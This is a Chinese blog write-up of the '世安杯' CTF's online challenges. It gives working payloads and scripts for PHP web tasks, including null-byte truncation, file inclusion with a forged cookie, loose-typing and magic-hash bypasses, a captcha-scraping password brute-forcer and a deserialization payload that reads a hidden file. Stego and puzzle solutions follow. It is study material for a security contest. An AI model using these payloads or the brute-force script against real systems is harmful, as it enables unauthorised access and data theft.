“世安杯”线上WP
Web1
嘛,有源文件,那就看看嘛。
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>
<section class="login">
<div class="title">
<a href="./index.phps">View Source</a>
</div>
<form method="POST">
<input type="text" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>
源文件如上,可以看到传递一个password变量,满足正则,必须是数字和字母,然后变量里还得有--
。正常情况下,只有数字和字母还得有--
。Emmm….截断试试,所以
payload: password=1a%00--
拿到flag。
Web2
嘛,这次打开就是一个文件包含。仔细看看url。发现时base64编码。
解码后确实如此,是一个key.txt
的文件。完全不知道是什么,暂时不管。看是否能包含别的东西。比如自己,将index.php
编码后传入。
发现了这样的代码,开始我还以为是空的文件,后来看有个line
参数没用上,然后给它赋值1,果然。
同理,可以得到源码。
关键行:
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
所以我们得给个名为key
的cookie
,值为li_lr_480
。然后再包含thisis_flag.php
即可。
如图,拿到flag
Web3
这道题直接给了源码,代码审计一下。发现是探究php弱类型的问题。
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
首先x1
、x2
、x3
都要存在。x1
在switch
语句时得符合case 1
的条件。但是又不能为1。用1a绕过。
x2
得是数组,键值x21
不仅不能是数字,还得和数字2017比较,比2017大。那么2018a可以绕过。
键值x22
得是数组,且只有2个。第一个还得是数组。x22
中得存在XIPU
,然后如果x22
中的值有XIPU
会die()。"x22":[["XIPU"],0]
可以绕过。
所以最终x2={"x21":"20189a","x22":[["XIPU"],0]}
x3
不能为15562
,得包含XIPU
,但是x3
得md5的第九位到十七位必须和15562
的md5(8,16)
相等。然后发现15562的md5(8,10)
是0e
,php中会认为这是科学计数法,所有的0e
都相等,不论后面等不等。所以我们写个脚本,可以得到相应的x3
。
import hashlib
for i in xrange(1000000):
s = 'XIPU' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
flag = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break
所以x3=XIPU313592
拼接起来的URL是
http://ctf1.shiyanbar.com/shian-leixing/index.php?x1=1a&x2={"x21":%2220189a%22,%22x22%22:[[%22XIPU%22],0]}&x3=XIPU313592
得到flag——CTF{Php_1s_bstl4_1a}
。
Web4
打开是这样的,尝试SQL注入登陆。构造用户名admin'#--
。提示真的只有一个admin
,不是很懂。尝试admin'
adminsadqweq
,同样的提示。好吧,说明不是注入的问题。要么没注入,要么注入失败。
然后在注释里发现了一个听说密码是一个五位数字。事情已经清晰,这是一个没意思的爆破。那就burp 抓包爆破,发现验证码会自动更换,那就写脚本,每次先请求URL,抓取验证码再爆破,最后得到00325
是密码。flag如下
# coding:utf8
import requests
import threading
import time
url = 'http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password='
class MyThread(threading.Thread):
def __init__(self, arg):
super(MyThread, self).__init__() # 注意:一定要显式的调用父类的初始化函数。
self.arg = arg
print arg
def run(self): # 定义每个线程要运行的函数
time.sleep(1)
re = requests.get(url=url)
randcode = re.content.split('ext"><br><br>')[1]
randcode = randcode[:3]
cookie = {'PHPSESSID': re.cookies['PHPSESSID']}
url1 = url + str(self.arg) + '&randcode=' + randcode
# print x
res = requests.get(
url=url1, cookies=cookie)
if 'flag' in res.content:
print res.content
return 1
else:
return 0
for i in xrange(99999):
t = MyThread(i)
flag = t.start()
time.sleep(0.1)
if flag == 1:
print 'success'
break
脚本如上,刚开始使用多线程,用的超级不好。。。虽然会有各种错误,不过还好比单线程跑得快。
Web5
备注里有源代码,根据代码的要求,给user
、file
赋值。得到上图。然后利用php的伪协议读取源代码。得到class.php
。
class.php:
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?&pass=
index.php:
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is
admin")){
echo "hello
admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin !
";
}
?>
根据读出来的class.php
还有index.php
可以看到flag在f1a9.php里,我们需要反序列化漏洞来读取。
payload: http://ctf1.shiyanbar.com/shian-du/index.php?user=php://input&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}
获得flag。
13斑马斑马
嘛,这道题一看就是一个条形码,扔到一个神奇的网址。
https://online-barcode-reader.inliteresearch.com/
即可获得flag。ps补全都不需要啦。
15适合作为桌面图片
嘛,这道题扔到Stegsolve
,某个色相藏着一个二维码,扫描即可。得到一大串十六进制。
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000
在线十六进制转字符串后,
如图,可看到关键字,py。可知是一个pyc文件,那么二进制方式保存后用uncompyle2
反编译即可。二进制保存脚本如下:
import binascii
import re
a = '03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000'
result = re.sub(r"(?<=\w)(?=(?:\w\w)+$)", " ", a)
relist = result.split(" ")
a = ''
for x in relist:
a = binascii.a2b_hex(x)
with open('/123.pyc', 'ab') as f:
f.write(a)
# print binascii.a2b_hex(a)
将输出的pyc反编译后得到:
def flag():
str = [102,
108,
97,
103,
123,
51,
56,
97,
53,
55,
48,
51,
50,
48,
56,
53,
52,
52,
49,
101,
55,
125]
flag = ''
for i in str:
flag += chr(i)
print flag
增加运行语句,运行即可得到flag。 flag{38a57032085441e7}
17珍妮的qq号
这道题直接给了个txt,写了一个算法规则,5位数,4倍后倒序是原数。写个脚本跑一下就出来了。脚本如下:
numlist = []
result = 0
def f(x, y):
return x * 10 + y
for x in xrange(10000, 99999):
numlist = []
y = x
while 1:
if x == 0:
break
numlist.append(x % 10)
x = x / 10
qq = ''
qq = reduce(f, numlist)
print 'qq=' + str(qq) + 'x=' + str(y)
if qq == y * 4:
print qq
break
转载请注明:碎雪的小屋 » 世安杯线上部分WriteUp